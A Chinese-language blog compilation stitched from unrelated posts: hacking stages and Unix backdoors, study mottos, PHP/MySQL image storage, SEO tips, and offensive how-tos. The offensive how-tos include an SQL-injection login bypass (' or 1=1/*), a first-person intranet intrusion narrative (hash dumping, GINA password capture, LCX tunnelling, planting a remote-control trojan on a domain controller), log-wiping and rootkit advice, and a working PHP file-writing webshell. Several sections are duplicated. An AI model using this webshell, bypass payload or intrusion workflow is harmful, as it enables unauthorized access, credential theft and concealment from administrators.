另外需要获得的关于系统的信息就是一些与计算机本身没有关系的社会信息,例如网站所属公司的名称、规模,网络管理员的生活习惯、电话号码等。这些信息看起来与攻击一个网站没有关系,实际上很多黑客都是利用了这类信息攻破网站的。例如有些网站管理员用自己的电话号码做系统密码,如果掌握了该电话号码,就等于掌握了管理员权限进行信息收集可以用手工进行,也可以利用工具来完成,完成信息收集的工具叫做扫描器。用扫描器收集信息的优点是速度快,可以一次对多个目标进行扫描。

攻击的实施阶段
1.获得权限

当收集到足够的信息之后,攻击者就要开始实施攻击行动了。作为破坏性攻击,只需利用工具发动攻击即可。而作为入侵性攻击,往往要利用收集到的信息,找到其系统漏洞,然后利用该漏洞获取一定的权限。有时获得了一般用户的权限就足以达到修改主页等目的了,但作为一次完整的攻击是要获得系统最高权限的,这不仅是为了达到一定的目的,更重要的是证明攻击者的能力,这也符合黑客的追求。

能够被攻击者所利用的漏洞不仅包括系统软件设计上的安全漏洞,也包括由于管理配置不当而造成的漏洞。前不久,因特网上应用最普及的著名www服务器提供商Apache的主页被黑客攻破,其主页面上的 Powered by Apache图样(羽毛状的图画)被改成了Powered by Microsoft Backoffice的图样,那个攻击者就是利用了管理员对Webserver用数据库的一些不当配置而成功取得最高权限的。

当然大多数攻击成功的范例还是利用了系统软件本身的漏洞。造成软件漏洞的主要原因在于编制该软件的程序员缺乏安全意识。当攻击者对软件进行非正常的调用请求时造成缓冲区溢出或者对文件的非法访问。其中利用缓冲区溢出进行的攻击最为普遍,据统计80%以上成功的攻击都是利用了缓冲区溢出漏洞来获得非法权限的。关于缓冲区溢出在后面用专门章节来作详细解释。

无论作为一个黑客还是一个网络管理员,都需要掌握尽量多的系统漏洞。黑客需要用它来完成攻击,而管理员需要根据不同的漏洞来进行不同的防御措施。了解最新最多的漏洞信息,可以到诸如Rootshell(www.rootshell.com)、Packetstorm(packetstorm.securify.com)、Securityfocus(www.securityfocus.com)等网站去查找。

2.权限的扩大

系统漏洞分为远程漏洞和本地漏洞两种,远程漏洞是指黑客可以在别的机器上直接利用该漏洞进行攻击并获取一定的权限。这种漏洞的威胁性相当大,黑客的攻击一般都是从远程漏洞开始的。但是利用远程漏洞获取的不一定是最高权限,而往往只是一个普通用户的权限,这样常常没有办法做黑客们想要做的事。这时就需要配合本地漏洞来把获得的权限进行扩大,常常是扩大至系统的管理员权限。

只有获得了最高的管理员权限之后,才可以做诸如网络监听、打扫痕迹之类的事情。要完成权限的扩大,不但可以利用已获得的权限在系统上执行利用本地漏洞的程序,还可以放一些木马之类的欺骗程序来套取管理员密码,这种木马是放在本地套取最高权限用的,而不能进行远程控制。例如一个黑客已经在一台机器上获得了一个普通用户的账号和登录权限,那么他就可以在这台机器上放置一个假的su程序。一旦黑客放置了假su程序,当真正的合法用户登录时,运行了su,并输入了密码,这时root密码就会被记录下来,下次黑客再登录时就可以使用su变成root了。

攻击的善后工作

1.日志系统简介

如果攻击者完成攻击后就立刻离开系统而不做任何善后工作,那么他的行踪将很快被系统管理员发现,因为所有的网络操作系统一般都提供日志记录功能,会把系统上发生的动作记录下来。所以,为了自身的隐蔽性,黑客一般都会抹掉自己在日志中留下的痕迹。想要了解黑客抹掉痕迹的方法,首先要了解常见的操作系统的日志结构以及工作方式。Unix的日志文件通常放在下面这几个位置,根据操作系统的不同略有变化

/usr/adm——早期版本的Unix。
/Var/adm新一点的版本使用这个位置。
/Varflort一些版本的Solaris、 Linux BSD、 Free BSD使用这个位置。
/etc,大多数Unix版本把Utmp放在此处,一些Unix版本也把Wtmp放在这里,这也是Syslog.conf的位置。

下面的文件可能会根据你所在的目录不同而不同:

acct或pacct-一记录每个用户使用的命令记录。
accesslog主要用来服务器运行了NCSA HTTP服务器,这个记录文件会记录有什么站点连接过你的服务器。
aculo保存拨出去的Modems记录。
lastlog记录了最近的Login记录和每个用户的最初目的地,有时是最后不成功Login的记录。
loginlog一记录一些不正常的L0gin记录。
messages——记录输出到系统控制台的记录,另外的信息由Syslog来生成
security记录一些使用 UUCP系统企图进入限制范围的事例。
sulog记录使用su命令的记录。
utmp记录当前登录到系统中的所有用户,这个文件伴随着用户进入和离开系统而不断变化。
Utmpx,utmp的扩展。
wtmp记录用户登录和退出事件。
Syslog最重要的日志文件,使用syslogd守护程序来获得。

2.隐藏踪迹

攻击者在获得系统最高管理员权限之后就可以随意修改系统上的文件了(只对常规 Unix系统而言),包括日志文件,所以一般黑客想要隐藏自己的踪迹的话,就会对日志进行修改。最简单的方法当然就是删除日志文件了,但这样做虽然避免了系统管理员根据IP追踪到自己,但也明确无误地告诉了管理员,系统己经被人侵了。所以最常用的办法是只对日志文件中有关自己的那一部分做修改。关于修改方法的具体细节根据不同的操作系统有所区别,网络上有许多此类功能的程序,例如 zap、 wipe等,其主要做法就是清除 utmp、wtmp、Lastlog和 Pacct等日志文件中某一用户的信息,使得当使用w、who、last等命令查看日志文件时,隐藏掉此用户的信息。

管理员想要避免日志系统被黑客修改,应该采取一定的措施,例如用打印机实时记录网络日志信息。但这样做也有弊端,黑客一旦了解到你的做法就会不停地向日志里写入无用的信息,使得打印机不停地打印日志,直到所有的纸用光为止。所以比较好的避免日志被修改的办法是把所有日志文件发送到一台比较安全的主机上,即使用loghost。即使是这样也不能完全避免日志被修改的可能性,因为黑客既然能攻入这台主机,也很可能攻入loghost。

只修改日志是不够的,因为百密必有一漏,即使自认为修改了所有的日志,仍然会留下一些蛛丝马迹的。例如安装了某些后门程序,运行后也可能被管理员发现。所以,黑客高手可以通过替换一些系统程序的方法来进一步隐藏踪迹。这种用来替换正常系统程序的黑客程序叫做rootkit,这类程序在一些黑客网站可以找到,比较常见的有LinuxRootKit,现在已经发展到了5.0版本了。它可以替换系统的ls、ps、netstat、inetd等等一系列重要的系统程序,当替换了ls后,就可以隐藏指定的文件,使得管理员在使用ls命令时无法看到这些文件,从而达到隐藏自己的目的。

3.后门

一般黑客都会在攻入系统后不只一次地进入该系统。为了下次再进入系统时方便一点,黑客会留下一个后门,特洛伊木马就是后门的最好范例。Unix中留后门的方法有很多种,下面介绍几种常见的后门,供网络管理员参考防范。

<1>密码破解后门
这是入侵者使用的最早也是最老的方法,它不仅可以获得对Unix机器的访问,而且可 以通过破解密码制造后门。这就是破解口令薄弱的帐号。以后即使管理员封了入侵者的当前帐号,这些新的帐号仍然可能是重新侵入的后门。多数情况下,入侵者寻找口令薄弱的未使用帐号,然后将口令改的难些。当管理员寻找口令薄弱的帐号是,也不会发现这些密码已修改的帐号。因而管理员很难确定查封哪个帐号。

<2>Rhosts + + 后门
在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简 单的认证方法。用户可以轻易的改变设置而不需口令就能进入。 入侵者只要向可以访问的某用户的rhosts文件中输入”+ +”,就可以允许任何人从任何地方无须口令便能进 入这个帐号。特别当home目录通过NFS向外共享时,入侵者更热中于此。这些帐号也成 了入侵者再次侵入的后门。许多人更喜欢使用Rsh,因为它通常缺少日志能力. 许多管理员经常检查 “+ +”,所以入侵者实际上多设置来自网上的另一个帐号的主机名和 用户名,从而不易被发现。

<3>校验和及时间戳后门
早期,许多入侵者用自己的trojan程序替代二进制文件。系统管理员便依靠时间戳和系 统校验和的程序辨别一个二进制文件是否已被改变,如Unix里的sum程序。入侵者又发展了使trojan文件和原文件时间戳同步的新技术。它是这样实现的: 先将系统时钟拨 回到原文件时间,然后调整trojan文件的时间为系统时间。一旦二进制trojan文件与 原来的精确同步,就可以把系统时间设回当前时间。Sum程序是基于CRC校验,很容易 骗过。入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序。MD5是被 大多数人推荐的,MD5使用的算法目前还没人能骗过。

<4>Login后门
在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的 原代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门 口令,它将忽视管理员设置的口令让你长驱直入。这将允许入侵者进入任何帐号,甚至 是root。由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问 的,所以入侵者可以登录获取shell却不会暴露该帐号。管理员注意到这种后门后,便 用”strings”命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露。入侵者就开始加密或者更好的隐藏口令,使strings命令失效. 所以更多的管理员是 用MD5校验和检测这种后门的。

<5>Telnetd后门
当用户telnet到系统,监听端口的inetd服务接受连接随后递给in.telnetd,由它运行 login.一些入侵者知道管理员会检查login是否被修改,就着手修改in.telnetd. 在in.telnetd内部有一些对用户信息的检验,比如用户使用了何种终端. 典型的终端 设置是Xterm或者VT100.入侵者可以做这样的后门,当终端设置为”letmein”时产生一 个不要任何验证的shell. 入侵者已对某些服务作了后门,对来自特定源端口的连接产 生一个shell。

<6>服务后门
几乎所有网络服务曾被入侵者作过后门. Finger,rsh,rexec,rlogin,ftp,甚至 inetd等等的作了的版本随处多是。有的只是连接到某个TCP端口的shell,通过后门口令就能获取访问。这些程序有时用刺娲□?Ucp这样不用的服务,或者被加入inetd.conf 作为一个新的服务,管理员应该非常注意那些服务正在运行,并用MD5对原服务程序做校验。

<7>Cronjob后门
Unix上的Cronjob可以按时间表调度特定程序的运行。入侵者可以加入后门shell程序 使它在1AM到2AM之间运行,那么每晚有一个小时可以获得访问。也可以查看cronjob中 经常运行的合法程序,同时置入后门。

<8>库后门
几乎所有的UNIX系统使用共享库,共享库用于相同函数的重用而减少代码长度。一些入侵者在象crypt.c和_crypt.c这些函数里作了后门;象login.c这样的程序调用了 crypt()。当使用后门口令时产生一个shell。 因此,即使管理员用MD5检查login程序,仍然能产生一个后门函数,而且许多管理员并不会检查库是否被做了后门。对于许多入侵者来说有一个问题: 一些管理员对所有东西多作了MD5校验,有一种办法是入侵者对open()和文件访问函数做后门。后门函数读原文件但执行trojan后门程序。所以 当MD5读这些文件时,校验和一切正常,但当系统运行时将执行trojan版本的,即使trojan库本身也可躲过MD5校验,对于管理员来说有一种方法可以找到后门,就是静态编连MD5校验程序然后运行,静态连接程序不会使用trojan共享库。

<9>内核后门
内核是Unix工作的核心,用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态 连接多不能识别. 一个后门作的很好的内核是最难被管理员查找的,所幸的是内核的 后门程序还不是随手可得,每人知道它事实上传播有多广。

<10>文件系统后门
入侵者需要在服务器上存储他们的掠夺品或数据,并不能被管理员发现,入侵者的文章常是包括exploit脚本工具,后门集,sniffer日志,email的备分,原代码,等等!有时为了防止管理员发现这么大的文件,入侵者需要修补”ls”,”du”,”fsck”以隐匿特定的目录和文件,在很低的级别,入侵者做这样的漏洞: 以专有的格式在硬盘上割出一部分,且表示为坏的扇区。因此入侵者只能用特别的工具访问这些隐藏的文件,对于普通的管理员来说,很难发现这些”坏扇区”里的文件系统,而它又确实存在。

<11>Boot块后门
在PC世界里,许多病毒藏匿与根区,而杀病毒软件就是检查根区是否被改变。Unix下,多数管理员没有检查根区的软件,所以一些入侵者将一些后门留在根区。

<12>隐匿进程后门
入侵者通常想隐匿他们运行的程序,这样的程序一般是口令破解程序和监听程序 (sniffer),有许多办法可以实现,这里是较通用的: 编写程序时修改自己的argv[] 使它看起来象其他进程名。可以将sniffer程序改名类似in.syslog再执行,因此 当管理员用”ps”检查运行进程时,出现 的是标准服务名。可以修改库函数致使 “ps”不能显示所有进程,可以将一个后门或程序嵌入中断驱动程序使它不会在进程表显现。使用这个技术的一个后门例子是

amod.tar.gz :
http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html网络通行. 这些网络通行后 门有时允许入侵者通过防火墙进行访问。有许多网络后门程序允许入侵者建立某个端 口号并不用通过普通服务就能实现访问. 因为这是通过非标准网络端口的通行,管理 员可能忽视入侵者的足迹. 这种后门通常使用TCP,UDP和ICMP,但也可能是其他类型报文。

<14>TCP Shell 后门
入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门. 许多情况下,他 们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用netstat 命令查看当前的连接状态,那些端口在侦听,目前连接的来龙去脉. 通常这些后门可 以让入侵者躲过TCP Wrapper技术. 这些后门可以放在SMTP端口,许多防火墙允许 e-mail通行的.

<15>UDP Shell 后门
管理员经常注意TCP连接并观察其怪异情况,而UDP Shell后门没有这样的连接,所以 netstat不能显示入侵者的访问痕迹,许多防火墙设置成允许类似DNS的UDP报文的通行,通常入侵者将UDP Shell放置在这个端口,允许穿越防火墙。

<16>ICMP Shell 后门
Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一。许多防火墙允许外界ping它内部的机器,入侵者可以放数据入Ping的ICMP包,在ping的机器间形成一个shell通道,管理员也许会注意到Ping包暴风,但除了他查看包内数据,否者入侵者不会暴露。

<17>加密连接
管理员可能建立一个sniffer试图某个访问的数据,但当入侵者给网络通行后门加密 后,就不可能被判定两台机器间的传输内容了。

哈佛图书馆自习室墙上的训言

1.此刻打盹,你将做梦;而此刻学习,你将圆梦。
2.我荒废的今日,正是昨日殒身之人祈求的明日。
3.觉得为时已晚的时候,恰恰是最早的时候。
4.勿将今日之事拖到明日。
5.学习时的苦痛是暂时的,未学到的痛苦是终生的。
6.学习这件事,不是缺乏时间,而是缺乏努力。
7.幸福或许不排名次,但成功必排名次。
8.学习并不是人生的全部。但,既然连人生的一部分——学习也无法征服,还能做什么呢?
9.请享受无法回避的痛苦。
10.只有比别人更早、更勤奋地努力,才能尝到成功的滋味。
11.谁也不能随随便便成功,它来自彻底的自我管理和毅力。
12.时间在流逝。
13.现在淌的哈喇子,将成为明天的眼泪。
14.狗一样地学,绅士一样地玩。
15.今天不走,明天要跑。
16.投资未来的人是,忠于现实的人。
17.教育程度代表收入。
18.一天过完,不会再来。
19.即使现在,对手也不停地翻动书页。
20.没有艰辛,便无所获。

将图片插入mysql数据库中

我们经常遇到的问题是如何将图片文件放到Mysql数据库当中,这样可以避免没有认证的用户找到我们的图片资源!
1、看看数据库里的表结构怎么写
CREATE TABLE Images
(
PicNum int NOT NULL AUTO_INCREMENT PRIMARY KEY,
Image BLOB,
Comment TEXT
)–> PicNum — 自动增加的ID号码
–> Image — 二进制数据,用来放图片
–> Comment — 注释信息,比如:这张照片是我7岁照的!
2、存储一张图片的步骤
//数据库的连接参数,例子当中这些参数在mysqlconnect.php中填写$MysqlHost = ”;
$MysqlUser = ”;
$MysqlPass = ”;
$MysqlDb =”;
$ImagePath = ‘mysqlimages/1.gif’;
$Comment = ‘哈哈哈;
$ImageSize = filesize($ImagePath);
$MysqlImage = addslashes(fread(fopen($ImagePath, ‘r’), $ImageSize));
mysql_connect($MysqlHost, $MysqlUser, $MysqlPass)     or die (‘Unable to connect to SQL Server’);
mysql_select_db($MysqlDb)                                         or die (‘Unable to connect Database’);
mysql_query(“INSERT INTO Images (Image,Comment) VALUES (‘$MysqlImage’,'$Comment’)”)   or die (“Can’t Perform Query”);addslashes()函数是将那些可能发生转意的字符加上\,如` ‘ ” 这些符号!
$MysqlImage = addslashes(fread(fopen($ImagePath, ‘r’), $ImageSize));这是个联合的写法,其它的不用解释!
就这样一张图片进入了mysql数据库

我们经常遇到的问题是如何将图片文件放到Mysql数据库当中,这样可以避免没有认证的用户找到我们的图片资源!
1、看看数据库里的表结构怎么写
CREATE TABLE Images (     PicNum int NOT NULL AUTO_INCREMENT PRIMARY KEY,     Image BLOB,     Comment TEXT )–> PicNum — 自动增加的ID号码 –> Image — 二进制数据,用来放图片 –> Comment — 注释信息,比如:这张照片是我7岁照的! 2、存储一张图片的步骤

//数据库的连接参数,例子当中这些参数在mysqlconnect.php中填写$MysqlHost = ”; $MysqlUser = ”; $MysqlPass = ”; $MysqlDb =”;
$ImagePath = ‘mysqlimages/1.gif’; $Comment = ‘哈哈哈; $ImageSize = filesize($ImagePath); $MysqlImage = addslashes(fread(fopen($ImagePath, ‘r’), $ImageSize)); mysql_connect($MysqlHost, $MysqlUser, $MysqlPass)     or die (‘Unable to connect to SQL Server’); mysql_select_db($MysqlDb)                                         or die (‘Unable to connect Database’); mysql_query(“INSERT INTO Images (Image,Comment) VALUES (‘$MysqlImage’,'$Comment’)”)   or die (“Can’t Perform Query”);addslashes()函数是将那些可能发生转意的字符加上\,如` ‘ ” 这些符号! $MysqlImage = addslashes(fread(fopen($ImagePath, ‘r’), $ImageSize));这是个联合的写法,其它的不用解释! 就这样一张图片进入了mysql数据库

PHP的万能密码登陆

说实话如果一个网站的前台都是注入漏洞,那么凭经验,万能密码进后台的几率基本上是

百分之百。

可是有的人说对PHP的站如果是GPC魔术转换开启,就会对特殊符号转义,就彻底杜绝了

PHP注入。

其实说这话的人没有好好想过,更没有尝试过用万能密码进PHP的后台。

其实GPC魔术转换是否开启对用万能密码进后台一点影响也没有。

如果你用这样的万能密码‘or’='or’,当然进不去,理由是GPC开启的时候单引号会被转换。

PHP注入时我常用的万能密码是:‘or 1=1/*.

那我们分析一下为什么这可以进后台。

如果sql语句这样写:“SELECT * FROM admin where name=’”.$_POST['name'].“‘and

password=’”.$_POST['password'].“‘”,那我们在帐号处输入万能密码’or 1=1/*,密码随便输,sql

语句就成了select * from admin where name=”or 1=1/*’ and password=’任意字符‘。

/*为mysql的注释符,这样后面的东西就都被注释掉了,也就是为什么密码随便输的原因。

假设GPC转换没有开启,那么请看:where name=”or 1=1(*/后面的东西被注释掉了),

name=’’的逻辑值为假,而后面的1=1逻辑值则为真,对于整体就成了假 or 真,最终的逻辑值

还是真,就进后台了。

那么如果GPC转换开启了,就对单引号进行了转换。语句就变成了where name=’\'or 1=1,在

看一下和刚才有什么区别,无非是多了个\。name=’\‘与name=’’的逻辑值一样,都为假,那1=1

为真,总的sql语句的逻辑值不还是真吗?那有进不去后台的理由吗?

所以总的来说,php网站的万能密码可以这样写:‘or 1=1/*,而GPC转换是否开启对它没有任

何影响!

所以请改变你的想法:存在字符型注入的php网站是可以用万能密码’or 1=1/*的

[转载]关于内网渗透一点小笔记

内网渗透

这只是给自己一点小笔记,没有什么技术类大放送。纯粹给新手一点参考,如果是老手,就绕过吧。

相对来说 网上的资料少之又少 很少有人对内网渗透写出一些详细的资料以供同行们参考

今天在这 只是大致的讲一下内网的一些知识。

首先,我们会在什么情况下遇见内网?如果你的目标只局限于一个小WEB,那你完全不用考虑内网了。但是,如果你的目标是一个大WEB,或者一个大公司,那你就必须考虑内网的问题。

在我们的渗透过程中,很多大型网络的外部网站或是服务器不一定有用,当然外网也可以作为我们的一个突破口,毕竟没有经过尝试,我们也不知道里面的结构,至少在外部上我们可以获取一定的信息也说不定,但是对于内网,外网绝对不是我们的主要路径。很多时候我们直接从外网入手,想进入内网,已变得越来越困难。

那面对内网,我们应该怎样做呢?有些什么可利用的?或者有些什么方法?下面,我们就来一起讨论下。

渗透,本身就是一个信息收集,然后分类归档,技术利用,从而达到目标。

那我们拿到一个内网的机器时,我们首要要做的事情就是要进入信息的收集,什么信息?很多。。。

1.收集信息。

1-1. 不论什么途径获得的内网机器,确定他在内网后,我们首先就要了解这台机器的所属人员,如果我们的目标是公司,那我们就要了解这个人在公司里的职位,他是个什么身份,有多大的权利,这都关系到他在内网里的权限。因为,作为大公司,一个高权限的人他在内网里所要用到的东西就多,那么相对他的机器,当然权限就会比一般普通员工的高很多,这在我的渗透过程中是常见的。
既然有了他的机器,那么翻翻他的电脑这是必要的,如果你说要怎么翻,你可以尝试熟悉他的电脑甚至比他本人还熟,那你就算了解详细了。一台个人用的电脑,从上面翻出与他自己相关的一些信息,和大量公司信息应该是没有问题的,除非,这是台新电脑。

1-2. 了解了一定的人员信息,期间你要记下你所掌握到的账号,密码这些重要数据,以后有一定的用,所以,在你渗之前,不妨建个记事本将重要信息保存起来,写个记事本不会浪费你多少时间。接下来,我们就应该对这个网络进行一定的了解,他是一般的内网,还是域?一般大公司都会用域的,我们只需要查一下就知道,要想对他进行渗透,你就必须了解他的网络拓补,当然,一些太具体的物理上我们是无法了解的,我们只能了解我们所能知道的。不管他是INT,DMZ,LAN,我们必须足够掌握。在这,我们就会用到一定的命令,相信大家应该都很熟悉。

ipconfig /all  查询一下本机的一些情况,IP段 网关 属于不属于域

net view  查询一些存在联系的机器,一般以机器名显示,我们需要对其PING出IP,一是方便查询哪些重要机器的IP,二是方便查询存在几个段

net view /domain  查询有几个域 因为大型网络里面一般不止一个域的

net group /domain   查询域里面的组

net user /domain   查询域用户

net group “domain admins” /domain   查询域管理用户组

这些都是我们需要了解的,当然有时候还会需要再查询一些信息,NET命令下你们都会找到,不需要我再重复,具体的情况具体分析问题。

2.信息归档

2-1。有了信息,我们就要对信息进行一定的归档,将每个机器名所对应的IP归档,方便用时不会乱。

2-2。查询出的用户,管理员,我们也必须归档。

2-3。查询信息时可能出现的有利用价值信息必须归档。

3.技术利用

3-1。不论是通过键盘记录。或者HASH的抓取,我们需要将账号,密码,邮箱,凡是涉及关键数据的全部保存,一方面是准备渗透的资料,二是防止当前利用机器会掉。

3-1-1。利用远控的键盘记录进行抓取。

3-1-2。利用PWDUMP7或者GETHASHES进行抓取HASH,然后破解。GETHASHES V1.4后 可以抓取域的全部HASH。

3-1-3。用GINASTUB.DLL获取管理员的账号和密码。因为域管理员有权限登陆任何一台机器。种上这个只是方便记录他所登陆的密码。INSTALL后,会在SYSYTEM32下生成一个 FAXMODE.INC 文件记录密码。

3-2。有了内网,很多东西我们是没有必要直接在当前利用机器上操作的,别人虽然是内网,但是不代表他没有防御系统,所以,我们建立SOCKS或者VPN是很有必要的,建立SOCKS相信大家都会了吧。

3-2-1。我在这推荐 VIDC 这个工具,很方便,在CMD下直接操 VIDC.EXE -D -P PORT 就可以了。

3-2-2。在利用机器上使用LCX,CMD下 LCX.EXE -SLAVE 服务器IP PORT 127.0.0.1 PORT,然后到服务器上 CMD下 LCX.EXE -LISTEN 服务器IP PORT 任意PORT。

3-2-3。建立SOCKS后在本地可以用SOCKSCAP来进行连接,成功连接后该操作什么就看你们自己了。

基本上我们就只能操作这么多了,后面已经没有什么技术上的再使用或利用,但是这中间的经验不少,所需要处理的细节也不少。

我们在得到内网机器后,如果他存在域,但是没有使用域账号怎么办?那我们只能查询或者想尽一切手段获得他常用的账号密码,然后利用这个账号密码,再通过SOCKS进入域。这其中就关系到各位同行查看控制机器的文件,还有记录密码,GINA,HASH破解,这些都是必须的。
进入域后,我们又该怎么做,建立SOCKS后又该怎么做。我们可以扔S上去查看主要的端口,我们可以对端口进行弱口令的尝试,我们可以针对内网的WEB进行检测,方式很多,甚至你可以用MS08-067对另一台机器进行突破,但是相信我,能使用域的机器,大部分都是补丁打齐的。我们能利用的很少,但是不能灰心,只要能在内网穿梭,我们至少在防御上会轻松很多,我们需要的只是耐心和时间。
一旦拥有密码,我们就可以尝试IPC连接,直接拿下域,这就得看你们的权限有多大。

net use \\IP\ipc$ password /user:username@domain

推荐使用这样的方式输入账号和密码,为什么?如果用户名存在空格,你这样输会保险些。什么 域用户不能存在空格?

是的,以前我也认为不会,微软的讲师也说不会,不过,经过我的测试和经验,那是假的,域 完全可以空格,除了 user name 这样的,还可以存在 user na me   ,不信 你可以试试。

建立IPC后,你只是想COPY文件 或者 RAR文件 再或者种马 那就是你的自由了。

后话:最近因为在渗域,在渗透过程中,也确实出现一些问题,几次都是不知如何进行,其实在技术上,并没有什么障碍。主要是在于对方有着比较强的主防御,而我的远控最开始连CMD都无法执行,后经过几天的环境测试,突破了CMD。有了CMD后,进行了查询,获得了一些信息,就开始了往下的渗透,被控机器的密码我不是跑出来的,我是翻他的文件翻出他常用密码的。因为他没有使用域账号,都是以系统账号登陆,所以无法查看域。我只能用他的域账号建立IPC连接,查找到内网的一个WEB服务,将其渗透后才算拿下了一个稳定的内网机器。

拿下内网WEB服务器后,我就已经完全在域内,没有使用HASH INJECTION,我是先查询了DOMAIN ADMINS,发现WEB服务器上的账号就属于这个组,PW后得到了HASH,破解掉我就连向了域控服务器的IPC$。
连接了IPC$,直接在其SYSYTEM32下扔了一个远控,然后用AT命令将其启动,这期间我尝试了5个SHIFT,但是SHIFT关闭后,我的远控也会掉,所以排除了这种方法,还是用AT来ADD NEW JOB 比较方便。

给域控服务器种了远控,利用CMD来GETHASHES了全部的HASHES进行破解,很幸运的查到了文件管理组的用户,这才有了我后面的目标达成。

总的来说,我这次的渗透比较运气好,中间麻烦事不是太多,不过也花了半个月的时间,时间大部分花在测试防御环境,软件免杀,木马免杀,查找资料这些上面。

后来,我获取了他的网络拓补图,发现我所呆的区域只是一个小小的域,还有好几个域我还没有涉及到,在域的前面是DMZ,而DMZ前面当然是INT了。

已经很晚了,本来是在写一份详细的渗透过程,不过因为一直工作,很多细节没有办法当场记录,所以,暂时在BLOG上写一些能想到的,后面如果有时间有环境,会再补充更多的细节以及图片和在渗透时所遇到的麻烦,如何解决等写出来。

一个PHP小马

  1. <?php
  2. //by x140y40[D.S.T]
  3. if (($_POST['text']) != ”" && ($_POST['path']) != ”"){
  4. $f = $_POST['path'];
  5. $s = $_POST['text'];
  6. if (@$fopen =fopen($f,’wb’)) {
  7. if (@fwrite($fopen,StripSlashes($s))){
  8. echo $f.’保存成功!’;
  9. fclose($fopen);
  10. exit;
  11. }}
  12. echo $f.’保存失败!’;
  13. }
  14. ?>
  15. <form id=”form1″ name=”form1″ method=”post” action=”">
  16. <input name=”path” type=”text” id=”path” value=”<?php echo $_SERVER["SCRIPT_FILENAME"];?>” size=”42″ />
  17. <BR>
  18. <textarea name=”text” cols=”40″ rows=”20″ id=”text”></textarea>
  19. <BR>
  20. <input type=”submit” name=”submit” id=”submit” value=”提交” />
  21. </form>

SEO方法大全

1.从博客来的反链对google排名影响大。从论坛来的反链对百度排名影响大。制作反接方法是:前面是带链接的文本描述,后面再加上网址。
2.外部的反响链接不要一下增加很多,要定时定量的增加。
3.网站内部SEO的主要操作重点地方:标题,链接命名,链接深度,文章内容,文章标题,文章内部锚文本链接,文章标签,网页底部和顶部的写法,代码。
4.在网站没有很充实内容时提交搜索引擎。提交时网站在架构做好,内容不多时提交。不要有大量内容,不要有重复内容。每天提交内容。搜索引擎喜欢小的,有潜力的网站。
5.每星期都尽量更新网站地图。
6.收录速度的决定因素:内容频繁更新,外部高质量链接。
7.增大收录量:百度对不喜欢采集的,要做伪原创。每天内容要不定时但定量更新。
8.避免K站:收录量和外链的多少匹配。收录多了以后,在大量的增加外链。
9.限制某些内容抓取。比如后台管理的地址就要屏蔽搜索引擎抓取。
10.从快照日期看哪些内容已经老了。先限制抓取,然后再删除。
11.做之前把关键词和关键词组列出来。寻找关键字的方法:百度指数: http://index.baidu.com/百度相关搜索,百度竞价词语。GOOGLE:热榜: http://www.google.cn/rebang/home
12.每个页面的关键字在20个以内。页面展示30%之内。
13.每个页面都有多个长尾关键字。部署3-5个。最好页面围绕长尾关键字做。通过文章内容作长尾关键字。
14.首页标题的字数,只往上加,不减。
15.文章标题是页面标题的一部分,这样页面标题的关键字就放的多了。
16.把好内容的放在网页的前面和左侧。
17.h标签强调关键词内容。重要关键词h1只能出现一次,流量关键词h2,长尾关键词h3能多次出现。
18.keywords关键词写5,6个就可以了。最多10个词,字数25个以内。
19.《meta name=“description”描述:就是把关键词串起来的一段话。
20.每个图片的alt标签都要有,但不能一样。
21.文章的标签重要。而且也能对图片起提示作用。
22.单页面优化:每个页面的标题必须不同。关键字和描述也基本不一样。
23.页面链接在100以内,多了屏蔽掉。标题20以内,描述50以内。
24.站内有关键字的链接要做成导向相关内容的导出链接。
25.有分类时,最好用分类的拼音做这个分类的域名。
26.新内容要在前。容易被抓取。
27.域名要使用“/”结尾的域名,能增加这个域名的pr。比如www.mmx.cc/index.html 就不如www.mmx.cc 好。
28.文章标题带有关键词。作用很大。
29.文章字数多时要分页,第段100-150个字,一定带关键词,要带上锚文本链接。文章结尾要写上作者,版权等。最后加上标签。
30.每段里的同样的关键词只链接一次,关键字的链接指向相关的地方,增加微通道。每段里面增加1.2个关键字链接。
31.现在文章内的链接权重大,比如软文就是很好的东西。
32.页面左侧放新发布的文章。
33.在白天发布文章,时间不定。但每天文章数的频率一样。
34.文章页面中有相关的链接。相关文章或者栏目的链接。
35.起一个奇怪的名字,在百度百科创建词条,能有很大的收获。
36.多域名指向一个网站要用301转到一个站,不带www的301转到带www的。
37.把栏目里的“更多”改成“查看更多图片”等带关键字的词语。而且是把链接加在“图片”等关键字上面。
38.品牌词前面加上一个修饰的属性词语。用这个属性词作为锚文本链接。
39.避免使用大量完全相同的锚文本,要使用同义词。不要把大量的锚文字指向同一个页面,指向权重集中的页面。
40.新站的链接不要多。30.40个。找高质量的外链。
41.外部链接最好链接首页,找不到首页就要和本站内容一样的相关页面的链接
42.外链的方法。锚文本改成做关键字,而不是网站公司的名称。
43.看竞争对手的链接。目标网站的反链。好博客的链接。赞助活动得链接。去他的博客看博客链接。网站后面带一个博客。在维基百科等发链接。
44.链接诱饵。能引起讨论的话题,天涯论坛等。低俗内容等。网络书签???
45.用雅虎查反相链接。用google管理员工具查反链。
46.如何搜索引擎不收录,可以用空的robots.txt 来尝试。

1.从博客来的反链对google排名影响大。从论坛来的反链对百度排名影响大。制作反接方法是:前面是带链接的文本描述,后面再加上网址。
2.外部的反响链接不要一下增加很多,要定时定量的增加。
3.网站内部SEO的主要操作重点地方:标题,链接命名,链接深度,文章内容,文章标题,文章内部锚文本链接,文章标签,网页底部和顶部的写法,代码。
4.在网站没有很充实内容时提交搜索引擎。提交时网站在架构做好,内容不多时提交。不要有大量内容,不要有重复内容。每天提交内容。搜索引擎喜欢小的,有潜力的网站。
5.每星期都尽量更新网站地图。
6.收录速度的决定因素:内容频繁更新,外部高质量链接。
7.增大收录量:百度对不喜欢采集的,要做伪原创。每天内容要不定时但定量更新。
8.避免K站:收录量和外链的多少匹配。收录多了以后,在大量的增加外链。
9.限制某些内容抓取。比如后台管理的地址就要屏蔽搜索引擎抓取。
